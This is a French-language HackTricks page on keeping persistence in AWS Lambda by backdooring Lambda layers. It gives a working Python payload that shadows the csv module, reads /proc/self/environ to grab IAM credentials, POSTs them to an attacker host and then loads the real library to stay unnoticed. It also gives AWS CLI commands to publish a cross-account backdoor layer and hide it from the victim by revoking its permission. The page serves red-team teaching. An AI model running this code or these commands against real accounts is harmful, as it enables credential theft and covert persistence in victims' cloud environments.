AWS - Persistence des couches Lambda

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Couches Lambda

Une couche Lambda est une archive .zip qui peut contenir du code supplĂ©mentaire ou d’autres contenus. Une couche peut contenir des bibliothĂšques, un runtime personnalisĂ©, des donnĂ©es ou des fichiers de configuration.

Il est possible d’inclure jusqu’à cinq couches par fonction. Lorsque vous incluez une couche dans une fonction, le contenu est extrait dans le rĂ©pertoire /opt de l’environnement d’exĂ©cution.

Par dĂ©faut, les couches que vous crĂ©ez sont privĂ©es Ă  votre compte AWS. Vous pouvez choisir de partager une couche avec d’autres comptes ou de rendre la couche publique. Si vos fonctions consomment une couche qu’un autre compte a publiĂ©e, vos fonctions peuvent continuer Ă  utiliser la version de la couche aprĂšs qu’elle a Ă©tĂ© supprimĂ©e, ou aprĂšs que votre autorisation d’accĂšs Ă  la couche a Ă©tĂ© rĂ©voquĂ©e. Cependant, vous ne pouvez pas crĂ©er une nouvelle fonction ou mettre Ă  jour des fonctions en utilisant une version de couche supprimĂ©e.

Les fonctions dĂ©ployĂ©es en tant qu’image de conteneur n’utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime prĂ©fĂ©rĂ©, vos bibliothĂšques et d’autres dĂ©pendances dans l’image de conteneur lorsque vous construisez l’image.

Chemin de chargement Python

Le chemin de chargement que Python utilisera dans lambda est le suivant :

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

VĂ©rifiez comment les deuxiĂšme et troisiĂšme positions sont occupĂ©es par des rĂ©pertoires oĂč les lambda layers dĂ©compressent leurs fichiers : /opt/python/lib/python3.9/site-packages et /opt/python

Caution

Si un attaquant parvient Ă  backdoor un layer lambda utilisĂ© ou Ă  en ajouter un qui exĂ©cutera du code arbitraire lorsqu’une bibliothĂšque commune est chargĂ©e, il pourra exĂ©cuter du code malveillant Ă  chaque invocation de lambda.

Par conséquent, les exigences sont :

  • VĂ©rifiez les bibliothĂšques qui sont chargĂ©es par le code des victimes
  • CrĂ©ez une bibliothĂšque proxy avec des lambda layers qui exĂ©cutera du code personnalisĂ© et chargera la bibliothĂšque originale.

BibliothÚques préchargées

Warning

Lors de l’abus de cette technique, j’ai rencontrĂ© une difficultĂ© : Certaines bibliothĂšques sont dĂ©jĂ  chargĂ©es dans l’environnement d’exĂ©cution python lorsque votre code est exĂ©cutĂ©. Je m’attendais Ă  trouver des choses comme os ou sys, mais mĂȘme la bibliothĂšque json Ă©tait chargĂ©e.
Afin d’abuser de cette technique de persistance, le code doit charger une nouvelle bibliothĂšque qui n’est pas chargĂ©e lorsque le code est exĂ©cutĂ©.

Avec un code python comme celui-ci, il est possible d’obtenir la liste des bibliothĂšques qui sont prĂ©chargĂ©es dans l’environnement d’exĂ©cution python dans lambda :

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Et voici la liste (vérifiez que des bibliothÚques comme os ou json sont déjà présentes)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Et voici la liste des bibliothÚques que lambda inclut installées par défaut : https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring de la couche Lambda

Dans cet exemple, supposons que le code ciblĂ© importe csv. Nous allons backdoor l’importation de la bibliothĂšque csv.

Pour ce faire, nous allons crĂ©er le rĂ©pertoire csv avec le fichier __init__.py Ă  l’intĂ©rieur dans un chemin chargĂ© par lambda : /opt/python/lib/python3.9/site-packages
Ensuite, lorsque la lambda est exécutée et essaie de charger csv, notre fichier __init__.py sera chargé et exécuté.
Ce fichier doit :

  • ExĂ©cuter notre payload
  • Charger la bibliothĂšque csv originale

Nous pouvons faire les deux avec :

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Ensuite, créez un zip avec ce code dans le chemin python/lib/python3.9/site-packages/__init__.py et ajoutez-le en tant que couche lambda.

Vous pouvez trouver ce code sur https://github.com/carlospolop/LambdaLayerBackdoor

Le payload intĂ©grĂ© enverra les identifiants IAM Ă  un serveur LA PREMIÈRE FOIS qu’il est invoquĂ© ou APRÈS une rĂ©initialisation du conteneur lambda (changement de code ou lambda froide), mais d’autres techniques telles que les suivantes pourraient Ă©galement ĂȘtre intĂ©grĂ©es :

AWS - Lambda Steal Requests

Couches externes

Notez qu’il est possible d’utiliser des couches lambda provenant de comptes externes. De plus, une lambda peut utiliser une couche d’un compte externe mĂȘme si elle n’a pas les autorisations.
Notez Ă©galement que le nombre maximum de couches qu’une lambda peut avoir est de 5.

Par consĂ©quent, afin d’amĂ©liorer la polyvalence de cette technique, un attaquant pourrait :

  • Backdoor une couche existante de l’utilisateur (rien n’est externe)
  • CrĂ©er une couche dans son compte, donner l’accĂšs du compte victime pour utiliser la couche, configurer la couche dans la Lambda de la victime et retirer la permission.
  • La Lambda pourra toujours utiliser la couche et la victime n’aura aucun moyen facile de tĂ©lĂ©charger le code des couches (Ă  part obtenir un shell inversĂ© Ă  l’intĂ©rieur de la lambda)
  • La victime ne verra pas les couches externes utilisĂ©es avec aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks